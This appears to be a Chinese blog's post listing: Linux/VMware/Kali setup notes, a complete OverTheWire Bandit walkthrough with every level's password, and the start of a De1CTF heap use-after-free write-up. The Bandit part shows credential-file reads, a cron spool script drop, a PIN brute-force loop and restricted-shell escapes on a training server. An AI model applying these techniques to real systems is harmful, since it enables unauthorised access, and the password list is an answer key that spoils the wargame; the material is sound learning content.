杂七杂八的记录

解决ubuntu中”Could not get lock /var/lib/dpkg/lock”

How to Fix ‘E: Could not get lock /var/lib/dpkg/lock’ Error in Ubuntu Linux

How To Fix “Could not get lock /var/lib/dpkg/lock - open (11 Resource temporarily unavailable)” Errors

vmware相关

安装vmware-tools

  • 点击菜单栏中“虚拟机” –> “安装vmware tools”
  • 此时虚拟机中会有一个CD driver
  • 点击CD driver,将其中的VMware tar包拷贝到本地目录
  • 解tar包
  • 进解开的tar包目录,用sudo执行vmware-xxx.pl文件安装即可

安装open-vm-tools

sudo apt update
sudo apt install open-vm-tools
//桌面版还需安装如下包,以支持双向拖拽文件
sudo apt install open-vm-tools-desktop

共享文件夹:

  • 在线方式
//虚拟机开机的情况下,在“虚拟机”-->“设置”-->“选项”中设置好共享文件夹
//便可以在/mnt/hgfs/xxx共享目录访问了
//如果这样不可访问的话,就参照离线方式的命令执行一遍
  • 离线方式
//先将虚拟机关机,在“虚拟机”-->“设置”-->“选项”中设置好共享文件夹
//使用如下命令可以查看共享目录设置是否成功
vmware-hgfsclient
//再进入虚拟机中
mkdir /mnt/hgfs
cd /mnt
sudo chmod 777 ./hgfs
sudo chown bling:bling hgfs -R
vmhgfs-fuse .host:/ /mnt/hgfs

Kali 2020版中文显示乱码的解决方案

安装完2020最新kali中文版后,发现界面出现了无数“麻将块”。原因是该版本对中文的不支持,因此需要我们自己安装一下中文字体。

更改kali的镜像源

在sources.list中添加一个源:

vim /etc/apt/sources.list

# tsinghua university
deb https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free

添加完源之后,必须立马执行更新命令:

sudo apt-get update

安装中文字体

依次执行以下命令:

# 安装本地设置
sudo apt-get install locales
locale -a
# 安装中文字体
sudo apt-get install xfonts-intl-chinese
sudo apt-get install ttf-wqy-microhei
#重启kali
sudo reboot

reference

2019kali中文乱码

解决安装kali 2020.1版本后的中文乱码问题

什么是locale?

Read More

OverTheWire Bandit 01-33 解题过程记录

1 题目链接

https://overthewire.org/wargames/bandit/

2 解题过程

(0)

bandit.labs.overthewire.org, on port 2220

(1)

ssh bandit1@bandit.labs.overthewire.org -p 2220

boJ9jbbUNNfktd78OOpsqOltutMc3MY1

(2)

ssh bandit2@bandit.labs.overthewire.org -p 2220

CV1DtqXWVFXTvM2F0k09SHz0YwRINYA9 cat "spaces in this filename" cat spaces\ in\ this\ filename

(3)

ssh bandit3@bandit.labs.overthewire.org -p 2220

UmHadQclWmgdLOKQ3YNgjWxGoRMb5luK

(4)

ssh bandit4@bandit.labs.overthewire.org -p 2220

pIwrPrtPN36QITSp3EQaw936yaFoFgAB

bandit4@bandit:~/inhere$ file ./-file*
./-file00: data
./-file01: data
./-file02: data
./-file03: data
./-file04: data
./-file05: data
./-file06: data
./-file07: ASCII text
./-file08: data
./-file09: data
bandit4@bandit:~/inhere$ cat ./-file07
koReBOKuIDDepwhWk7jZC0RTdopnAYKh

(5)

ssh bandit5@bandit.labs.overthewire.org -p 2220

koReBOKuIDDepwhWk7jZC0RTdopnAYKh

find ./ -type f -size 1033c

(6)

ssh bandit6@bandit.labs.overthewire.org -p 2220

DXjZPULLxYr17uwoI01bNLQbtFemEgo7

find ./ -size 33c -user bandit7 -group bandit6
cat ./var/lib/dpkg/info/bandit7.password

(7)

ssh bandit7@bandit.labs.overthewire.org -p 2220

HKBPTKQnIay4Fw76bEy8PVxKEDQRKTzs

grep -ri millionth

(8)

ssh bandit8@bandit.labs.overthewire.org -p 2220

cvX2JJa4CFALtqS87jk27qwqGhBM9plV

sort ./data.txt | uniq -u

(9)

ssh bandit9@bandit.labs.overthewire.org -p 2220

UsvVyFSfZZWbi6wgC7dAFyFuR6jQQUhR

strings ./data.txt | grep ====

(10)

ssh bandit10@bandit.labs.overthewire.org -p 2220

truKLdjsbJ5g7yyJ2X2R0o3a5HQJFuLk

bandit10@bandit:~$ base64 -d data.txt 
The password is IFukwKGsFW8MOq3IRFqrxE1hxTNEbUPR

(11)

ssh bandit11@bandit.labs.overthewire.org -p 2220

IFukwKGsFW8MOq3IRFqrxE1hxTNEbUPR

bandit11@bandit:~$ cat data.txt | tr 'a-zA-Z' 'n-za-mN-ZA-M'
The password is 5Te8Y4drgCRfCx8ugdwuEX8KFC6k2EUu

(12)

ssh bandit12@bandit.labs.overthewire.org -p 2220

5Te8Y4drgCRfCx8ugdwuEX8KFC6k2EUu

    7  mkdir /tmp/bling
    8  cp data.txt /tmp/bling
    9  cd /tmp/bling
   13  xxd -r data.txt data.bin
   18  file data.bin
   19  mv data.bin data.gz
   20  gzip -d data.gz
   22  file data
   23  bzip2 -d data
   25  file data.out
   26  mv data.out data.gz
   28  gzip -d data.gz
   30  file data
   31  tar -xvf data
   33  file data5.bin
   35  tar -xvf data5.bin
   36  file data6.bin
   37  bzip2 -d data6.bin
   39  file data6.bin.out
   40  tar -xvf data6.bin.out
   45  file data8.bin
   46  mv data8.bin data8.gz
   48  gzip -d data8.gz
   50  file data8
   51  cat data8

(13)

ssh bandit13@bandit.labs.overthewire.org -p 2220

8ZjyCRiBWFYkneahHwxCv3wb2a1ORpYL

ssh bandit14@localhost -i sshkey.private
cat  /etc/bandit_pass/bandit14

(14)

ssh bandit14@bandit.labs.overthewire.org -p 2220

4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e

bandit14@bandit:~$ nc localhost 30000
4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e
Correct!
BfMYroe26WYalil77FoDi9qh59eK5xNr

(15)

ssh bandit15@bandit.labs.overthewire.org -p 2220

BfMYroe26WYalil77FoDi9qh59eK5xNr

bandit15@bandit:~$ openssl s_client -connect localhost:30001
CONNECTED(00000003)
depth=0 CN = localhost
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = localhost
verify return:1
---
Certificate chain
 0 s:/CN=localhost
   i:/CN=localhost
---
Server certificate
-----BEGIN CERTIFICATE-----
MIICBjCCAW+gAwIBAgIEDU18oTANBgkqhkiG9w0BAQUFADAUMRIwEAYDVQQDDAls
b2NhbGhvc3QwHhcNMjAwNTA3MTgxNTQzWhcNMjEwNTA3MTgxNTQzWjAUMRIwEAYD
VQQDDAlsb2NhbGhvc3QwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAK3CPNFR
FEypcqUa8NslmIMWl9xq53Cwhs/fvYHAvauyfE3uDVyyX79Z34Tkot6YflAoufnS
+puh2Kgq7aDaF+xhE+FPcz1JE0C2bflGfEtx4l3qy79SRpLiZ7eio8NPasvduG5e
pkuHefwI4c7GS6Y7OTz/6IpxqXBzv3c+x93TAgMBAAGjZTBjMBQGA1UdEQQNMAuC
CWxvY2FsaG9zdDBLBglghkgBhvhCAQ0EPhY8QXV0b21hdGljYWxseSBnZW5lcmF0
ZWQgYnkgTmNhdC4gU2VlIGh0dHBzOi8vbm1hcC5vcmcvbmNhdC8uMA0GCSqGSIb3
DQEBBQUAA4GBAC9uy1rF2U/OSBXbQJYuPuzT5mYwcjEEV0XwyiX1MFZbKUlyFZUw
rq+P1HfFp+BSODtk6tHM9bTz+p2OJRXuELG0ly8+Nf/hO/mYS1i5Ekzv4PL9hO8q
PfmDXTHs23Tc7ctLqPRj4/4qxw6RF4SM+uxkAuHgT/NDW1LphxkJlKGn
-----END CERTIFICATE-----
subject=/CN=localhost
issuer=/CN=localhost
---
No client certificate CA names sent
Peer signing digest: SHA512
Server Temp Key: X25519, 253 bits
---
SSL handshake has read 1019 bytes and written 269 bytes
Verification error: self signed certificate
---
New, TLSv1.2, Cipher is ECDHE-RSA-AES256-GCM-SHA384
Server public key is 1024 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
SSL-Session:
    Protocol  : TLSv1.2
    Cipher    : ECDHE-RSA-AES256-GCM-SHA384
    Session-ID: 007E0D8A0128B2FF4D905508CF737C9AA328D4D7EC300F3670BF87BF48F448AB
    Session-ID-ctx: 
    Master-Key: 0943896BA02534F6AD45C9F4FD218941160F569022FD88ADD3C91E5555A65B4E56FBAC7628F26A5703404039B9AF6C4D
    PSK identity: None
    PSK identity hint: None
    SRP username: None
    TLS session ticket lifetime hint: 7200 (seconds)
    TLS session ticket:
    0000 - aa 02 e6 3a 2e 0b c8 5d-6f 54 4a 1b 5a e0 2c 0e   ...:...]oTJ.Z.,.
    0010 - 2b 8e 00 de ab bf a4 f4-12 a3 29 78 f8 c9 c1 86   +.........)x....
    0020 - ff 7e ea db 76 0f 6c b8-45 ee 4c bd 2e 81 3f ff   .~..v.l.E.L...?.
    0030 - 81 ff c9 0d 2b 14 fe c9-28 84 1d 41 80 47 9f 9b   ....+...(..A.G..
    0040 - b6 72 e4 9e d1 80 c6 9c-d6 05 8c 58 31 b2 14 f3   .r.........X1...
    0050 - b5 ca 94 a9 02 01 7e b7-6d a1 7d 6d fb 07 9f b5   ......~.m.}m....
    0060 - 41 25 06 59 eb 61 d3 62-16 d3 69 35 5a b1 49 07   A%.Y.a.b..i5Z.I.
    0070 - 53 3f 04 5f f2 b7 e7 45-34 56 82 f5 6e 2e fe 0d   S?._...E4V..n...
    0080 - a9 cd a6 d5 ff 90 89 b1-a6 4c 82 8b 8b b8 a8 15   .........L......
    0090 - 95 6e d9 9f 0b bb 4a 9e-e2 01 60 c0 9c 44 a3 6a   .n....J...`..D.j

    Start Time: 1589699552
    Timeout   : 7200 (sec)
    Verify return code: 18 (self signed certificate)
    Extended master secret: yes
---
BfMYroe26WYalil77FoDi9qh59eK5xNr
Correct!
cluFn7wTiGryunymYOu4RcffSxQluehd

closed

(16)

ssh bandit16@bandit.labs.overthewire.org -p 2220

cluFn7wTiGryunymYOu4RcffSxQluehd

bandit16@bandit:~$ nmap -p 31000-32000 localhost

Starting Nmap 7.40 ( https://nmap.org ) at 2020-05-17 09:18 CEST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00028s latency).
Not shown: 996 closed ports
PORT      STATE SERVICE
31046/tcp open  unknown
31518/tcp open  unknown
31691/tcp open  unknown
31790/tcp open  unknown
31960/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 0.08 seconds
-------------------------------------------------------------------------------
bandit16@bandit:~$ nmap -sV -p 31000-32000 localhost

Starting Nmap 7.40 ( https://nmap.org ) at 2020-05-17 09:34 CEST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00025s latency).
Not shown: 996 closed ports
PORT      STATE SERVICE     VERSION
31046/tcp open  echo
31518/tcp open  ssl/echo
31691/tcp open  echo
31790/tcp open  ssl/unknown
31960/tcp open  echo
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port31790-TCP:V=7.40%T=SSL%I=7%D=5/17%Time=5EC0E90B%P=x86_64-pc-linux-g
SF:nu%r(GenericLines,31,"Wrong!\x20Please\x20enter\x20the\x20correct\x20cu
SF:rrent\x20password\n")%r(GetRequest,31,"Wrong!\x20Please\x20enter\x20the
SF:\x20correct\x20current\x20password\n")%r(HTTPOptions,31,"Wrong!\x20Plea
SF:se\x20enter\x20the\x20correct\x20current\x20password\n")%r(RTSPRequest,
SF:31,"Wrong!\x20Please\x20enter\x20the\x20correct\x20current\x20password\
SF:n")%r(Help,31,"Wrong!\x20Please\x20enter\x20the\x20correct\x20current\x
SF:20password\n")%r(SSLSessionReq,31,"Wrong!\x20Please\x20enter\x20the\x20
SF:correct\x20current\x20password\n")%r(TLSSessionReq,31,"Wrong!\x20Please
SF:\x20enter\x20the\x20correct\x20current\x20password\n")%r(Kerberos,31,"W
SF:rong!\x20Please\x20enter\x20the\x20correct\x20current\x20password\n")%r
SF:(FourOhFourRequest,31,"Wrong!\x20Please\x20enter\x20the\x20correct\x20c
SF:urrent\x20password\n")%r(LPDString,31,"Wrong!\x20Please\x20enter\x20the
SF:\x20correct\x20current\x20password\n")%r(LDAPSearchReq,31,"Wrong!\x20Pl
SF:ease\x20enter\x20the\x20correct\x20current\x20password\n")%r(SIPOptions
SF:,31,"Wrong!\x20Please\x20enter\x20the\x20correct\x20current\x20password
SF:\n");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 88.00 seconds
------------------------------------------------------------------------
bandit16@bandit:~$ mkdir /tmp/bling2/
bandit16@bandit:~$ echo "cluFn7wTiGryunymYOu4RcffSxQluehd" | openssl s_client -connect localhost:31790 -quiet 2>/dev/null | tail -n 28 > /tmp/bling2/ssh.private
-----------------------------------------------------------------------
ssh -i ssh.private bandit17@localhost
cat /etc/bandit_pass/bandit17

(17)

ssh bandit17@bandit.labs.overthewire.org -p 2220

xLYVMN9WE5zQ5vHacb0sZEVqbrp7nBTn

bandit17@bandit:~$ diff passwords.old passwords.new
42c42
< w0Yfolrc5bwjS4qw5mq1nnQi6mF03bii
---
> kfBf3eYk5BPBRzwjqutbbfE887SVc5Yd

(18)

ssh bandit18@bandit.labs.overthewire.org -p 2220

kfBf3eYk5BPBRzwjqutbbfE887SVc5Yd

bling@bling:~$ ssh bandit18@bandit.labs.overthewire.org -p 2220 "cat readme"
This is a OverTheWire game server. More information on http://www.overthewire.org/wargames

bandit18@bandit.labs.overthewire.org's password: 
IueksS7Ubh8G3DCwVzrTd8rAVOwq3M5x

(19)

ssh bandit19@bandit.labs.overthewire.org -p 2220

IueksS7Ubh8G3DCwVzrTd8rAVOwq3M5x

bandit19@bandit:~$ ./bandit20-do cat /etc/bandit_pass/bandit20
GbKksEFF4yrVs6il55v6gwY5aVje5f0j

(20)

ssh bandit20@bandit.labs.overthewire.org -p 2220

GbKksEFF4yrVs6il55v6gwY5aVje5f0j

一个终端:
bandit20@bandit:~$ nc -l -p 2333 < /etc/bandit_pass/bandit20

另一个终端:
bandit20@bandit:~$ ./suconnect 2333
Read: GbKksEFF4yrVs6il55v6gwY5aVje5f0j
Password matches, sending next password

第一个终端接收到如下字符串:
gE269g2h3mw3pwgrj0Ha9Uoqen1c9DGr

或者用一条命令完成

sh -c "nc -l -p 2333 & < /etc/bandit_pass/bandit20"; ./suconnect 2333
or 
sh -c "echo 'GbKksEFF4yrVs6il55v6gwY5aVje5f0j' | nc -l -p 2333 &";./suconnect 8888

(21)

ssh bandit21@bandit.labs.overthewire.org -p 2220

gE269g2h3mw3pwgrj0Ha9Uoqen1c9DGr

bandit21@bandit:~$ cd /etc/cron.d/
----------------------------------------------------------------------
bandit21@bandit:/etc/cron.d$ cat cronjob_bandit22
@reboot bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
----------------------------------------------------------------------
bandit21@bandit:/etc/cron.d$ cat /usr/bin/cronjob_bandit22.sh
#!/bin/bash
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
----------------------------------------------------------------------
bandit21@bandit:/etc/cron.d$ cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
Yk7owGAcWjwMVRwrTesJEwB7WVOiILLI

(22)

ssh bandit22@bandit.labs.overthewire.org -p 2220

Yk7owGAcWjwMVRwrTesJEwB7WVOiILLI

bandit22@bandit:~$ cd /etc/cron.d
bandit22@bandit:/etc/cron.d$ cat cronjob_bandit23
@reboot bandit23 /usr/bin/cronjob_bandit23.sh  &> /dev/null
* * * * * bandit23 /usr/bin/cronjob_bandit23.sh  &> /dev/null
bandit22@bandit:/etc/cron.d$ cat /usr/bin/cronjob_bandit23.sh
#!/bin/bash

myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)

echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"

cat /etc/bandit_pass/$myname > /tmp/$mytarget
bandit22@bandit:/etc/cron.d$ /usr/bin/cronjob_bandit23.sh
Copying passwordfile /etc/bandit_pass/bandit22 to /tmp/8169b67bd894ddbb4412f91573b38db3
bandit22@bandit:/etc/cron.d$ cat /tmp/8169b67bd894ddbb4412f91573b38db3
Yk7owGAcWjwMVRwrTesJEwB7WVOiILLI
发现不对,于是采用如下方法:
bandit22@bandit:/etc/cron.d$ echo I am user bandit23 | md5sum | cut -d ' ' -f 1
8ca319486bfbbc3663ea0fbe81326349
bandit22@bandit:/etc/cron.d$ cat /tmp/8ca319486bfbbc3663ea0fbe81326349
jc1udXuA1tiHqjIsL8yaapX5XIAI6i0n

(23)

ssh bandit23@bandit.labs.overthewire.org -p 2220

jc1udXuA1tiHqjIsL8yaapX5XIAI6i0n

bandit23@bandit:~$ cd /etc/cron.d
bandit23@bandit:/etc/cron.d$ cat cronjob_bandit24
@reboot bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
* * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
bandit23@bandit:/etc/cron.d$ cat /usr/bin/cronjob_bandit24.sh
#!/bin/bash

myname=$(whoami)

cd /var/spool/$myname
echo "Executing and deleting all scripts in /var/spool/$myname:"
for i in * .*;
do
    if [ "$i" != "." -a "$i" != ".." ];
    then
        echo "Handling $i"
        owner="$(stat --format "%U" ./$i)"
        if [ "${owner}" = "bandit23" ]; then
            timeout -s 9 60 ./$i
        fi
        rm -f ./$i
    fi
done

mkdir /tmp/bling3
chmod 777 /tmp/bling3
cd /tmp/bling3
vim test.sh
	#!/bin/sh
	cat /etc/bandit_pass/bandit24 > /tmp/bling3/result24
chmod 777 test.sh
cp test.sh /var/spool/bandit24/test.sh
等待一会儿
cat result24

(24)

ssh bandit24@bandit.labs.overthewire.org -p 2220

UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ

bandit24@bandit:/tmp/bling4$ vim test.py
--------------------
	#!/usr/bin/env python
	f = open('test.txt','w')
	for i in range(10000):
		payload = "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ" + " " + str(i).zfill(4) + '\n'
		f.write(payload)
	f.close()
--------------------
bandit24@bandit:/tmp/bling4$ python test.py
bandit24@bandit:/tmp/bling4$ nc localhost 30002 < /tmp/bling4/test.txt > /tmp/bling4/result.txt
bandit24@bandit:/tmp/bling4$ sort ./result.txt | uniq -u

Correct!
Exiting.
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
The password of user bandit25 is uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG

(25)

ssh bandit25@bandit.labs.overthewire.org -p 2220

uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG

把窗口调整到只能显示3/4行的状态
$ ssh -i bandit26.sshkey bandit26@localhost
在more界面执行命令
v - 进入编辑模式
r /etc/bandit_pass/bandit26

(26)

ssh bandit26@bandit.labs.overthewire.org -p 2220

5czgV9L3Xx8JPOyRbXh6lQbmIOWvPT6Z

把窗口调整到只能显示3/4行的状态
ssh登录上去,然后到more界面时,按v进入编辑模式,执行以下两条命令就可以获取shell
:set shell=/bin/sh
:shell
bandit26@bandit:~$ ls
bandit27-do  text.txt
bandit26@bandit:~$ ./bandit27-do cat /etc/bandit_pass/bandit27
3ba3118a22e93127a4ed485be72ef5ea

(27)

ssh bandit27@bandit.labs.overthewire.org -p 2220

3ba3118a22e93127a4ed485be72ef5ea

bandit27@bandit:~$ mkdir /tmp/bling
bandit27@bandit:~$ cd /tmp/bling
bandit27@bandit:/tmp/bling$ git clone ssh://bandit27-git@localhost/home/bandit27-git/repo
Cloning into 'repo'...
Could not create directory '/home/bandit27/.ssh'.
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:98UL0ZWr85496EtCRkKlo20X3OPnyPSB5tB5RPbhczc.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/home/bandit27/.ssh/known_hosts).
This is a OverTheWire game server. More information on http://www.overthewire.org/wargames

bandit27-git@localhost's password: 
remote: Counting objects: 3, done.
remote: Compressing objects: 100% (2/2), done.
remote: Total 3 (delta 0), reused 0 (delta 0)
Receiving objects: 100% (3/3), done.
bandit27@bandit:/tmp/bling$ ls
repo
bandit27@bandit:/tmp/bling$ cd repo
bandit27@bandit:/tmp/bling/repo$ ls
README
bandit27@bandit:/tmp/bling/repo$ cat README
The password to the next level is: 0ef186ac70e04ea33b4c1853d2526fa2

(28)

ssh bandit28@bandit.labs.overthewire.org -p 2220

0ef186ac70e04ea33b4c1853d2526fa2

拉下repo后:
bandit28@bandit:/tmp/bling28/repo$ git log
commit edd935d60906b33f0619605abd1689808ccdd5ee
Author: Morla Porla <morla@overthewire.org>
Date:   Thu May 7 20:14:49 2020 +0200

    fix info leak

commit c086d11a00c0648d095d04c089786efef5e01264
Author: Morla Porla <morla@overthewire.org>
Date:   Thu May 7 20:14:49 2020 +0200

    add missing data

commit de2ebe2d5fd1598cd547f4d56247e053be3fdc38
Author: Ben Dover <noone@overthewire.org>
Date:   Thu May 7 20:14:49 2020 +0200

    initial commit of README.md

bandit28@bandit:/tmp/bling28/repo$ git reset --hard c086d11a00c0648d095d04c089786efef5e01264
HEAD is now at c086d11 add missing data
bandit28@bandit:/tmp/bling28/repo$ cat README.md 
# Bandit Notes
Some notes for level29 of bandit.

## credentials

- username: bandit29
- password: bbc96594b4e001778eee9975372716b2

(29)

ssh bandit29@bandit.labs.overthewire.org -p 2220

bbc96594b4e001778eee9975372716b2

拉下repo后:
bandit29@bandit:/tmp/bling29/repo$ git branch -a
* master
  remotes/origin/HEAD -> origin/master
  remotes/origin/dev
  remotes/origin/master
  remotes/origin/sploits-dev
bandit29@bandit:/tmp/bling29/repo$ git checkout origin/dev
Previous HEAD position was 786d5be... add some silly exploit, just for shit and giggles
HEAD is now at bc83328... add data needed for development
bandit29@bandit:/tmp/bling29/repo$ cat README.md 
# Bandit Notes
Some notes for bandit30 of bandit.

## credentials

- username: bandit30
- password: 5b90576bedb2cc04c86a9e924ce42faf

(30)

ssh bandit30@bandit.labs.overthewire.org -p 2220

5b90576bedb2cc04c86a9e924ce42faf

bandit30@bandit:/tmp/bling30/repo$ cd .git
bandit30@bandit:/tmp/bling30/repo/.git$ cat *
cat: branches: Is a directory
[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
[remote "origin"]
	url = ssh://bandit30-git@localhost/home/bandit30-git/repo
	fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
	remote = origin
	merge = refs/heads/master
Unnamed repository; edit this file 'description' to name the repository.
ref: refs/heads/master
cat: hooks: Is a directory
DIRC^�3�
�^�3�     e
��$���+��!�L4 ]R?��֛��7w	README.mdTREE1 0
��Y.�U�����36:F��JGVVF*-`-��I���}u/)Qcat: info: Is a directory
cat: logs: Is a directory
cat: objects: Is a directory
# pack-refs with: peeled fully-peeled 
3aefa229469b7ba1cc08203e5d8fa299354c496b refs/remotes/origin/master
f17132340e8ee6c159e0a4a6bc6f80e1da3b1aea refs/tags/secret
cat: refs: Is a directory
bandit30@bandit:/tmp/bling30/repo/.git$ ls -al
total 52
drwxr-sr-x 8 bandit30 root 4096 May 17 14:52 .
drwxr-sr-x 3 bandit30 root 4096 May 17 14:52 ..
drwxr-sr-x 2 bandit30 root 4096 May 17 14:52 branches
-rw-r--r-- 1 bandit30 root  276 May 17 14:52 config
-rw-r--r-- 1 bandit30 root   73 May 17 14:52 description
-rw-r--r-- 1 bandit30 root   23 May 17 14:52 HEAD
drwxr-sr-x 2 bandit30 root 4096 May 17 14:52 hooks
-rw-r--r-- 1 bandit30 root  137 May 17 14:52 index
drwxr-sr-x 2 bandit30 root 4096 May 17 14:52 info
drwxr-sr-x 3 bandit30 root 4096 May 17 14:52 logs
drwxr-sr-x 4 bandit30 root 4096 May 17 14:52 objects
-rw-r--r-- 1 bandit30 root  165 May 17 14:52 packed-refs
drwxr-sr-x 5 bandit30 root 4096 May 17 14:52 refs
bandit30@bandit:/tmp/bling30/repo/.git$ git show --name-only secret
47e603bb428404d265f59c42920d81e5

(31)

ssh bandit31@bandit.labs.overthewire.org -p 2220

47e603bb428404d265f59c42920d81e5

将repo拉到本地后:
bandit31@bandit:/tmp/bling31/repo$ ls -al
total 20
drwxr-sr-x 3 bandit31 root 4096 May 17 15:00 .
drwxr-sr-x 3 bandit31 root 4096 May 17 14:59 ..
drwxr-sr-x 8 bandit31 root 4096 May 17 15:00 .git
-rw-r--r-- 1 bandit31 root    6 May 17 15:00 .gitignore
-rw-r--r-- 1 bandit31 root  147 May 17 15:00 README.md
bandit31@bandit:/tmp/bling31/repo$ echo "May I come in?" > key.txt
bandit31@bandit:/tmp/bling31/repo$ git add -f key.txt
bandit31@bandit:/tmp/bling31/repo$ git status
On branch master
Your branch is up-to-date with 'origin/master'.
Changes to be committed:
  (use "git reset HEAD <file>..." to unstage)

	new file:   key.txt

bandit31@bandit:/tmp/bling31/repo$ git commit -m "add"
[master 93d69fa] add
 1 file changed, 1 insertion(+)
 create mode 100644 key.txt
bandit31@bandit:/tmp/bling31/repo$ git push origin master
Could not create directory '/home/bandit31/.ssh'.
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:98UL0ZWr85496EtCRkKlo20X3OPnyPSB5tB5RPbhczc.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/home/bandit31/.ssh/known_hosts).
This is a OverTheWire game server. More information on http://www.overthewire.org/wargames

bandit31-git@localhost's password: 
Counting objects: 3, done.
Delta compression using up to 2 threads.
Compressing objects: 100% (2/2), done.
Writing objects: 100% (3/3), 315 bytes | 0 bytes/s, done.
Total 3 (delta 0), reused 0 (delta 0)
remote: ### Attempting to validate files... ####
remote: 
remote: .oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.
remote: 
remote: Well done! Here is the password for the next level:
remote: 56a9bf19c63d650ce78e6ec0354ee45e
remote: 
remote: .oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.
remote: 
To ssh://localhost/home/bandit31-git/repo
 ! [remote rejected] master -> master (pre-receive hook declined)
error: failed to push some refs to 'ssh://bandit31-git@localhost/home/bandit31-git/repo'

(32)

ssh bandit32@bandit.labs.overthewire.org -p 2220

56a9bf19c63d650ce78e6ec0354ee45e

>> $0
$ ls
uppershell
$ cat /etc/bandit_pass/bandit33
c9c3199ddf4121b10cf581a98d51caee

(33)

ssh bandit33@bandit.labs.overthewire.org -p 2220

c9c3199ddf4121b10cf581a98d51caee

题目还没出来

3 参考

Linux 闯关游戏之通关秘籍

Wargames

Read More

De1CTF2020 PWN之stl_container

题目链接

1 触发异常分支

这个题目寻找漏洞点的过程比较曲折,IDA打开发现是c++代码,但是我真的不懂C++,纠结从代码里找漏洞找了一天也没思路。在男票的提醒下,直接触发漏洞,再根据触发的漏洞去理解程序然后利用。

main函数中可以看到四个stl函数。list和vector函数中实现了add,delete和show。queue和stack中只支持add和delete。

 	  case 1u:
        TestList();
        break;
      case 2u:
        TestVector();
        break;
      case 3u:
        TestQueue();
        break;
      case 4u:
        TestStack();
        break;

由于是堆相关的题目,很自然想到问题大多出在free时,因此对list和vector下的add和delete进行测试。在add两个vector,删除index为0的vector,然后执行show(0)时,打印了一堆无法显示的字符。

STL Container Test
1. list
2. vector
3. queue
4. stack
5. exit
>> 2
1. add
2. delete
3. show
>> 1
input data:123
done!
STL Container Test
……
>> 2
1. add
2. delete
3. show
>> 1
input data:qwe
done!
STL Container Test
……
>> 2
1. add
2. delete
3. show
>> 2
index?
0
done!
STL Container Test
……
>> 2
1. add
2. delete
3. show
>> 3
index?
0
data: ���V

data部分应该是访问了非法内存,那么接下来就用gef进行调试,看看是什么原因导致了访问非法内存。

2 分析异常原因

申请两个vector,然后查看chunk的分布情况:

~~~~~~
Chunk(addr=0x560ff5676490, size=0x20, flags=PREV_INUSE)
    [0x0000560ff5676490     50 65 67 f5 0f 56 00 00 f0 65 67 f5 0f 56 00 00    Peg..V...eg..V..]
~~~~~~
Chunk(addr=0x560ff5676550, size=0xa0, flags=PREV_INUSE)
    [0x0000560ff5676550     76 65 63 74 6f 72 31 31 31 0a 00 00 00 00 00 00    vector111.......]
Chunk(addr=0x560ff56765f0, size=0xa0, flags=PREV_INUSE)
    [0x0000560ff56765f0     76 65 63 74 6f 72 32 32 32 0a 00 00 00 00 00 00    vector222.......]
Chunk(addr=0x560ff5676690, size=0xe980, flags=PREV_INUSE)  ←  top chunk
-----------------------------------------------------------------------------------
gef➤  x/10gx 0x560ff5676490
0x560ff5676490:	0x0000560ff5676550	0x0000560ff56765f0
0x560ff56764a0:	0x0000000000000000	0x00000000000000a1

可以看到0x560ff5676490处依次存放了vector(0) 和vector(1)的字符串地址。接下来删除vector(0),看看这个地址处和字符串有什么变化,如下。

~~~~~~~~
Chunk(addr=0x560ff5676490, size=0x20, flags=PREV_INUSE)
    [0x0000560ff5676490     f0 65 67 f5 0f 56 00 00 f0 65 67 f5 0f 56 00 00    .eg..V...eg..V..]
~~~~~~~~
Chunk(addr=0x560ff5676550, size=0xa0, flags=PREV_INUSE)
    [0x0000560ff5676550     76 65 63 74 6f 72 31 31 31 0a 00 00 00 00 00 00    vector111.......]
Chunk(addr=0x560ff56765f0, size=0xa0, flags=PREV_INUSE)
    [0x0000560ff56765f0     b0 64 67 f5 0f 56 00 00 32 0a 00 00 00 00 00 00    .dg..V..2.......]
--------------------------------------------------------------------------------
gef➤  x/10gx 0x560ff5676490
0x560ff5676490:	0x0000560ff56765f0	0x0000560ff56765f0
0x560ff56764a0:	0x0000000000000000	0x00000000000000a1

